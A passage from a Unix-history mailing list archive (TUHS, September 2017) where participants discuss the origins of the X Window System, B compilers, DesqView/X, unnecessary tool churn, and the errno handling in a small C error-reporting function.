Another example is a more recent web-based project on which I was advising.
I'm a big fan of jQuery; it gets the job done.  Someone said "Why are you
using that instead of angular?"  I did a bit of research before answering.
Turns out that one of the main reasons given for angular over jQuery was
that "it's fresh".  That was a new one for me.  Still unclear why freshness
is an attribute that would trump stability.

So, I'm sure that many of you have stories about unnecessary tools and
packages that were created by people unable to RTFM.  Would be amused
to hear 'em.

Jon


From thorsten.sideb0ard at gmail.com  Wed Sep 20 03:01:53 2017
From: thorsten.sideb0ard at gmail.com (Thorsten Sideboard)
Date: Tue, 19 Sep 2017 10:01:53 -0700
Subject: [TUHS] B Source Code
In-Reply-To: <20170918214516.GA58781@indra.papnet.eu>
References: <CAAFR5paf8aiA1S27gxqXopnZWfE6mBkFVR_7V0yEVL2tQJohHA@mail.gmail.com>
 <CAC20D2OaBDuVj=SZQau8wizW+iKdsdEA74wUtGkVZ8sg_-stqQ@mail.gmail.com>
 <CAC20D2NhqnCoGkfQGRpYJBfNDQ-T+7aXMdz02bo3VopZ5Xs-vQ@mail.gmail.com>
 <20170918214516.GA58781@indra.papnet.eu>
Message-ID: <CAN5QifZqhzE+0bn8GXfokpRpBqZ6qV0W5VJvE1vq3sVFDnP58w@mail.gmail.com>

Ok, so this is slightly tangential - i misappropriated 'BCPL' for a
comic book I'm working on, called Bureau for the Containment of
Programmatic Lifeforms - I gave a talk in London recently entitled
BCPL, which featured Martin Richards, the history of BCPL->C, lots of
drawings of computer scientists including everyone's favorite
curmudgeon Ted Nelson, sci-fi world building comic books, algorithmic
music generation, and trying to bring all of them together into a
project called BCPL.

https://www.youtube.com/watch?v=QFj8q9awAUY

thor (long time lurker!)



On Mon, Sep 18, 2017 at 2:45 PM, Angelo Papenhoff <aap at papnet.eu> wrote:
> On 12/09/17, Clem Cole wrote:
>> BTW:  Check out:   ybc: a compiler for B <https://github.com/Leushenko/ybc>
>>
>
> I may me a bit late now, but I would also like to add my B compiler, that
> I wrote a few years ago: https://github.com/aap/abc/
> I wasn't able to find another B compiler at the time but wanted to run
> B code just for fun. I was also studying dmr's C compiler so I took a lot
> of inspiration from his code and wrote this (rhe code generation is entirely mine
> though, and terribly inefficient).
> I haven't compiled it in a while and I suspect it's not as portable as
> it should be, but it was only meant as a toy anyway...my first
> parser/compiler/language.
>
> I'm still planning to make it output PDP-6/10 code eventually.
>
> aap


From usotsuki at buric.co  Wed Sep 20 03:05:45 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Tue, 19 Sep 2017 13:05:45 -0400 (EDT)
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
Message-ID: <alpine.BSF.2.02.1709191304360.12195@frieza.hoshinet.org>

On Tue, 19 Sep 2017, Jon Steinhart wrote:

> Another example is a more recent web-based project on which I was advising.
> I'm a big fan of jQuery; it gets the job done.  Someone said "Why are you
> using that instead of angular?"  I did a bit of research before answering.
> Turns out that one of the main reasons given for angular over jQuery was
> that "it's fresh".  That was a new one for me.  Still unclear why freshness
> is an attribute that would trump stability.

I see it all the time and call it "blinded by the leet".

-uso.


From gregg.drwho8 at gmail.com  Wed Sep 20 03:15:25 2017
From: gregg.drwho8 at gmail.com (Gregg Levine)
Date: Tue, 19 Sep 2017 13:15:25 -0400
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <alpine.BSF.2.02.1709191301060.12195@frieza.hoshinet.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <alpine.BSF.2.02.1709191301060.12195@frieza.hoshinet.org>
Message-ID: <CAC5iaNHg1e4VodSzp59pD9oabC7sp-DZ0nNaZhwipWzvRLuZww@mail.gmail.com>

Hello!
Spot on. I've used it, and attempted to get it to work. Annoying thing
it is, is that it only sees Novell's IPX based networking.
-----
Gregg C Levine gregg.drwho8 at gmail.com
"This signature fought the Time Wars, time and again."


On Tue, Sep 19, 2017 at 1:01 PM, Steve Nickolas <usotsuki at buric.co> wrote:
> On Tue, 19 Sep 2017, Gregg Levine wrote:
>
>> Oddly enough I also pursued and engaged a company who attempted to
>> combine an early X release with thier DOS based multitasking tool. The
>> discussion was rewarding, but it did not save the company.
>
>
> Sounds like DesQview/X?
>
> -uso.


From random832 at fastmail.com  Wed Sep 20 03:56:48 2017
From: random832 at fastmail.com (Random832)
Date: Tue, 19 Sep 2017 13:56:48 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919135652.GN25650@mcvoy.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <20170919135359.G38me%steffen@sdaoden.eu>
 <20170919135652.GN25650@mcvoy.com>
Message-ID: <1505843808.1332176.1111446696.14AB97E4@webmail.messagingengine.com>

On Tue, Sep 19, 2017, at 09:56, Larry McVoy wrote:
> On Tue, Sep 19, 2017 at 03:53:59PM +0200, Steffen Nurpmeso wrote:
> >  |void    
> >  |my_perror(char *file, int line, char *msg)
> >  |{
> >  |        char    *p = 0;
> >  |        int     save = errno;
> >  |
> >  |        if (p = getenv("_BK_VERSION")) {
> >  |                if (strneq(p, "bk-", 3)) p += 3;
> >  |                fprintf(stderr, "%s:%d (%s): ", file, line, p);
> >  |} else {
> >  |                fprintf(stderr, "%s:%d: ", file, line);
> >  |}
> >  |        if (p = strerror(errno)) {
> >  |                fprintf(stderr, "%s: %s\n", msg, p);
> >  |} else {
> >  |                fprintf(stderr, "%s: errno=%d\n", msg, errno);
> >  |}
> >  |        errno = save;   
> >  |}
> >  |
> >  |libc should do that.
> > 
> > That really made me wonder why "save" is not used, errno may
> > eventually change along the way.  Ok ok, but.. well.
> 
> Huh?  save is set with errno and then errno is restored to save.   The 
> point of save is to do the library calls (which do syscalls which 
> could in theory change errno) and leave it the same as it was on
> the way in.

I think his point was that you should be passing save (rather than
errno) to the strerror and the last printf, because the preceding
library calls may have changed errno.


From random832 at fastmail.com  Wed Sep 20 04:03:05 2017
From: random832 at fastmail.com (Random832)
Date: Tue, 19 Sep 2017 14:03:05 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919144206.GP25650@mcvoy.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <CAC20D2NZLK32S-01xubuo5yqiRswf5gJP2vwHnBi1fobnzmVrw@mail.gmail.com>
 <20170919144206.GP25650@mcvoy.com>
Message-ID: <1505844185.1333585.1111450208.3E3B7C76@webmail.messagingengine.com>

On Tue, Sep 19, 2017, at 10:42, Larry McVoy wrote:
> slib.c:1653 (bk-7.3): open failed: permission denied
> 
> which is way way way more useful than just permission denied.

Well. It's less useful in one way - it doesn't say what file it was
trying to open. You could pass the filename *instead* of "open failed",
but that still omits the issue I had pointed out: what were you trying
to open the file for (at the very least, were you trying to read, write,
or exec it). Ideally the function would have a format and arguments.

Another thing that's unfortunately not easy to solve is whether an error
accessing a file was due to a problem (permissions/nonexistence) with
the file itself, or one of the directories along the way. This
information isn't provided by the OS, either, so at best you can detect
an error and then check every component yourself.


From random832 at fastmail.com  Wed Sep 20 04:09:06 2017
From: random832 at fastmail.com (Random832)
Date: Tue, 19 Sep 2017 14:09:06 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919122425.513E34422C@lignose.oclsc.org>
References: <20170919122425.513E34422C@lignose.oclsc.org>
Message-ID: <1505844546.1334583.1111457456.3BAC6336@webmail.messagingengine.com>

On Tue, Sep 19, 2017, at 08:24, Norman Wilson wrote:
> I guess the problem with perror is that it isn't sufficiently
> UNIX-like: it bundles three jobs that are really separate
> (convert errno to string message, format an error message,
> output the message) into one function, inseparably and
> inflexibly.

Yeah, but you have to do all of that (plus exit, if the error isn't
recoverable) after every single function that might fail.  If the
function didn't exist, you'd have to write your own, so you're not
really any worse off if it doesn't do quite what you want.

if(open one thing < 0) { perror...; exit...; }
if(open another thing < 0) { perror...; exit...; }
if(!malloc...) {perror... exit... }
etc, I'd be half tempted to write a function just for *that*.

BSD's err/warn family is a further refinement on this - it allows
format/arguments, as I complained about in another post, and lets you
specify what file to send output to, and the existence of err vs warn
lets you avoid having exit as a separate step.


From cym224 at gmail.com  Wed Sep 20 04:23:30 2017
From: cym224 at gmail.com (Nemo)
Date: Tue, 19 Sep 2017 14:23:30 -0400
Subject: [TUHS] old X versions
In-Reply-To: <1620f879-e4be-7fca-8bf7-a1a8896d8ba1@case.edu>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <1620f879-e4be-7fca-8bf7-a1a8896d8ba1@case.edu>
Message-ID: <CAJfiPzx7nHnFN0=Ddz9Dmqy3KF-6w6TOXSj-RF2c9a+tBna9BA@mail.gmail.com>

On 19 September 2017 at 11:39, Chet Ramey <chet.ramey at case.edu> wrote:
> On 9/19/17 11:16 AM, Gregg Levine wrote:
>> Hello!
>> Wasn't the original project called "Athena", and wasn't it pursued by
>> one of the many Labs at MIT?
>
> The athena project was indeed at MIT, and X was a part of that. This
> would have been started and developed during the mid-1980s (1983, to be
> exact).  X's predecessor was a window system named W, which was developed
> at Stanford. Bob Scheifler used W as the basis for X.

I vaguely recall (assuming no bit rot) that IBM was also involved and
they refused to release their portion under FRAND terms, leading Bob
to write X.

Anecodotes on W/X may be found in the delightful little book written
by Borenstein titled "Programming as if people mattered".

N.

>
> --
> ``The lyf so short, the craft so long to lerne.'' - Chaucer
>                  ``Ars longa, vita brevis'' - Hippocrates
> Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From cym224 at gmail.com  Wed Sep 20 04:30:44 2017
From: cym224 at gmail.com (Nemo)
Date: Tue, 19 Sep 2017 14:30:44 -0400
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <alpine.BSF.2.02.1709191301060.12195@frieza.hoshinet.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <alpine.BSF.2.02.1709191301060.12195@frieza.hoshinet.org>
Message-ID: <CAJfiPzz5L99aLwJDZ0j+uqchet+-2SEZPs7Bxw1Kvw+rh5P51g@mail.gmail.com>

On 19 September 2017 at 13:01, Steve Nickolas <usotsuki at buric.co> wrote:
> On Tue, 19 Sep 2017, Gregg Levine wrote:
>
>> Oddly enough I also pursued and engaged a company who attempted to
>> combine an early X release with thier DOS based multitasking tool. The
>> discussion was rewarding, but it did not save the company.
>
> Sounds like DesQview/X?

I used it but it still sat on top of DOS.  I downloaded their
GCC-based development tools and tried to build something  for X (from
X.org).  I invoked the makefile and then went to finish laying
subflooring in my living room, only to hear the PC rebooting in the
other room.  It turned out that many of the header-file names were
identical in the first 8 characters.  This led to recursive inclusion
until it blew.

N.


>
> -uso.


From steffen at sdaoden.eu  Wed Sep 20 04:31:52 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Tue, 19 Sep 2017 20:31:52 +0200
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <1505843808.1332176.1111446696.14AB97E4@webmail.messagingengine.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com> <20170919135359.G38me%steffen@sdaoden.eu>
 <20170919135652.GN25650@mcvoy.com>
 <1505843808.1332176.1111446696.14AB97E4@webmail.messagingengine.com>
Message-ID: <20170919183152.LL6TM%steffen@sdaoden.eu>

Random832 <random832 at fastmail.com> wrote:
 |On Tue, Sep 19, 2017, at 09:56, Larry McVoy wrote:
 |> On Tue, Sep 19, 2017 at 03:53:59PM +0200, Steffen Nurpmeso wrote:
 |>>|void    
 |>>|my_perror(char *file, int line, char *msg)
 |>>|{
 |>>|        char    *p = 0;
 |>>|        int     save = errno;
 |>>|
 |>>|        if (p = getenv("_BK_VERSION")) {
 |>>|                if (strneq(p, "bk-", 3)) p += 3;
 |>>|                fprintf(stderr, "%s:%d (%s): ", file, line, p);
 |>>|} else {
 |>>|                fprintf(stderr, "%s:%d: ", file, line);
 |>>|}
 |>>|        if (p = strerror(errno)) {
 |>>|                fprintf(stderr, "%s: %s\n", msg, p);
 |>>|} else {
 |>>|                fprintf(stderr, "%s: errno=%d\n", msg, errno);
 |>>|}
 |>>|        errno = save;   
 |>>|}
 |>>|
 |>>|libc should do that.
 |>> 
 |>> That really made me wonder why "save" is not used, errno may
 |>> eventually change along the way.  Ok ok, but.. well.
 |> 
 |> Huh?  save is set with errno and then errno is restored to save.   The 
 |> point of save is to do the library calls (which do syscalls which 
 |> could in theory change errno) and leave it the same as it was on
 |> the way in.
 |
 |I think his point was that you should be passing save (rather than
 |errno) to the strerror and the last printf, because the preceding
 |library calls may have changed errno.

Well, if _you_ see it the WallStreetFighter style then it needs to
be said that an overwhelming, deadly, rather exterminating number
of points have been made.  errno today is thread local storage, or
worse some pthread-specific macro expansion, i see multiple
call-ins to standard I/O which is potentially SMP-safe, stderr is
unbuffered, getenv() can end up doing a sequential walk on a flat
array with X number of strncmp() calls, in a context i assume the
variable itself is constant over the entire run of the software.
Also p=0 is C++ i think.  There are two value assignments inside
a conditional statement without parenthesis.  If the file
parameter comes from __FILE__ then that could and likely should be
constant string storage, msg looks likewise but possibly not as
bad.  This code would benefit from an iteration.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From chet.ramey at case.edu  Wed Sep 20 04:32:57 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Tue, 19 Sep 2017 14:32:57 -0400
Subject: [TUHS] old X versions
In-Reply-To: <CAJfiPzx7nHnFN0=Ddz9Dmqy3KF-6w6TOXSj-RF2c9a+tBna9BA@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <1620f879-e4be-7fca-8bf7-a1a8896d8ba1@case.edu>
 <CAJfiPzx7nHnFN0=Ddz9Dmqy3KF-6w6TOXSj-RF2c9a+tBna9BA@mail.gmail.com>
Message-ID: <8e0ad468-ddc0-72b8-e1fb-3111f6c33314@case.edu>

On 9/19/17 2:23 PM, Nemo wrote:
> On 19 September 2017 at 11:39, Chet Ramey <chet.ramey at case.edu> wrote:
>> On 9/19/17 11:16 AM, Gregg Levine wrote:
>>> Hello!
>>> Wasn't the original project called "Athena", and wasn't it pursued by
>>> one of the many Labs at MIT?
>>
>> The athena project was indeed at MIT, and X was a part of that. This
>> would have been started and developed during the mid-1980s (1983, to be
>> exact).  X's predecessor was a window system named W, which was developed
>> at Stanford. Bob Scheifler used W as the basis for X.
> 
> I vaguely recall (assuming no bit rot) that IBM was also involved and
> they refused to release their portion under FRAND terms, leading Bob
> to write X.

As I understand it, Scheifler began with W, which Paul Asente and Chris
Kent had ported to Unix and given him a copy. He initially replaced its
synchronous protocol with an asynchronous one and went on from there.
I don't know whether IBM was involved with the V OS research, which was
where W came from, or resisted its public release, but Scheifler
certainly got a copy.

Jon Steinhart covered a little bit of this in a message to this list
last week.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From clemc at ccc.com  Wed Sep 20 04:32:34 2017
From: clemc at ccc.com (Clem Cole)
Date: Tue, 19 Sep 2017 14:32:34 -0400
Subject: [TUHS] old X versions
In-Reply-To: <CAJfiPzx7nHnFN0=Ddz9Dmqy3KF-6w6TOXSj-RF2c9a+tBna9BA@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <1620f879-e4be-7fca-8bf7-a1a8896d8ba1@case.edu>
 <CAJfiPzx7nHnFN0=Ddz9Dmqy3KF-6w6TOXSj-RF2c9a+tBna9BA@mail.gmail.com>
Message-ID: <CAC20D2NgQDs4=xWO8eV+7OpP5rf+2rsWCkK-1ZrXhZhLoy7pJA@mail.gmail.com>

On Tue, Sep 19, 2017 at 2:23 PM, Nemo <cym224 at gmail.com> wrote:

>
> I vaguely recall (assuming no bit rot) that IBM was also involved and
> they refused to release their portion under FRAND terms, leading Bob
> to write X.


Right, I remember that was mixed up in it.   CMU (Andy "My hand is in your
pocket" Carnegie) was willing to abide by the IBM terms and MIT (Paul "You
gotta be kidding me" Gray) was not.   So IBM got the IP from Andrew, while
Athena was FOSS.​  IBM would eventually Open Source most of it.   But
originally, it was all private to them.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170919/3788c1f5/attachment.html>

From lm at mcvoy.com  Wed Sep 20 04:34:22 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 11:34:22 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919183152.LL6TM%steffen@sdaoden.eu>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <20170919135359.G38me%steffen@sdaoden.eu>
 <20170919135652.GN25650@mcvoy.com>
 <1505843808.1332176.1111446696.14AB97E4@webmail.messagingengine.com>
 <20170919183152.LL6TM%steffen@sdaoden.eu>
Message-ID: <20170919183422.GQ25650@mcvoy.com>

On Tue, Sep 19, 2017 at 08:31:52PM +0200, Steffen Nurpmeso wrote:
> Random832 <random832 at fastmail.com> wrote:
>  |On Tue, Sep 19, 2017, at 09:56, Larry McVoy wrote:
>  |> On Tue, Sep 19, 2017 at 03:53:59PM +0200, Steffen Nurpmeso wrote:
>  |>>|void    
>  |>>|my_perror(char *file, int line, char *msg)
>  |>>|{
>  |>>|        char    *p = 0;
>  |>>|        int     save = errno;
>  |>>|
>  |>>|        if (p = getenv("_BK_VERSION")) {
>  |>>|                if (strneq(p, "bk-", 3)) p += 3;
>  |>>|                fprintf(stderr, "%s:%d (%s): ", file, line, p);
>  |>>|} else {
>  |>>|                fprintf(stderr, "%s:%d: ", file, line);
>  |>>|}
>  |>>|        if (p = strerror(errno)) {
>  |>>|                fprintf(stderr, "%s: %s\n", msg, p);
>  |>>|} else {
>  |>>|                fprintf(stderr, "%s: errno=%d\n", msg, errno);
>  |>>|}
>  |>>|        errno = save;   
>  |>>|}
>  |>>|
>  |>>|libc should do that.
>  |>> 
>  |>> That really made me wonder why "save" is not used, errno may
>  |>> eventually change along the way.  Ok ok, but.. well.
>  |> 
>  |> Huh?  save is set with errno and then errno is restored to save.   The 
>  |> point of save is to do the library calls (which do syscalls which 
>  |> could in theory change errno) and leave it the same as it was on
>  |> the way in.
>  |
>  |I think his point was that you should be passing save (rather than
>  |errno) to the strerror and the last printf, because the preceding
>  |library calls may have changed errno.
> 
> Well, if _you_ see it the WallStreetFighter style then it needs to
> be said that an overwhelming, deadly, rather exterminating number
> of points have been made.  errno today is thread local storage, or
> worse some pthread-specific macro expansion, i see multiple
> call-ins to standard I/O which is potentially SMP-safe, stderr is
> unbuffered, getenv() can end up doing a sequential walk on a flat
> array with X number of strncmp() calls, in a context i assume the
> variable itself is constant over the entire run of the software.
> Also p=0 is C++ i think.  There are two value assignments inside
> a conditional statement without parenthesis.  If the file
> parameter comes from __FILE__ then that could and likely should be
> constant string storage, msg looks likewise but possibly not as
> bad.  This code would benefit from an iteration.
> 
> --steffen

Feel free to send in a patch! 


From jon at fourwinds.com  Wed Sep 20 04:34:47 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 19 Sep 2017 11:34:47 -0700
Subject: [TUHS] old X versions
In-Reply-To: <8e0ad468-ddc0-72b8-e1fb-3111f6c33314@case.edu>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
 <1620f879-e4be-7fca-8bf7-a1a8896d8ba1@case.edu>
 <CAJfiPzx7nHnFN0=Ddz9Dmqy3KF-6w6TOXSj-RF2c9a+tBna9BA@mail.gmail.com>
 <8e0ad468-ddc0-72b8-e1fb-3111f6c33314@case.edu>
Message-ID: <201709191834.v8JIYlR9018972@darkstar.fourwinds.com>

Chet Ramey writes:
> On 9/19/17 2:23 PM, Nemo wrote:
> > On 19 September 2017 at 11:39, Chet Ramey <chet.ramey at case.edu> wrote:
> >> On 9/19/17 11:16 AM, Gregg Levine wrote:
> >>> Hello!
> >>> Wasn't the original project called "Athena", and wasn't it pursued by
> >>> one of the many Labs at MIT?
> >>
> >> The athena project was indeed at MIT, and X was a part of that. This
> >> would have been started and developed during the mid-1980s (1983, to be
> >> exact).  X's predecessor was a window system named W, which was developed
> >> at Stanford. Bob Scheifler used W as the basis for X.
> > 
> > I vaguely recall (assuming no bit rot) that IBM was also involved and
> > they refused to release their portion under FRAND terms, leading Bob
> > to write X.
> 
> As I understand it, Scheifler began with W, which Paul Asente and Chris
> Kent had ported to Unix and given him a copy. He initially replaced its
> synchronous protocol with an asynchronous one and went on from there.
> I don't know whether IBM was involved with the V OS research, which was
> where W came from, or resisted its public release, but Scheifler
> certainly got a copy.
> 
> Jon Steinhart covered a little bit of this in a message to this list
> last week.

For what it's worth, I just looked in some old notebooks.  I have a number
of the V papers, and also some papers on VGTS which preceeded W.  I'm sure
that I have some of the W docs around somewhere but that'll take some more
hunting.


From chet.ramey at case.edu  Wed Sep 20 04:43:59 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Tue, 19 Sep 2017 14:43:59 -0400
Subject: [TUHS] old X versions
In-Reply-To: <8e0ad468-ddc0-72b8-e1fb-3111f6c33314@case.edu>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
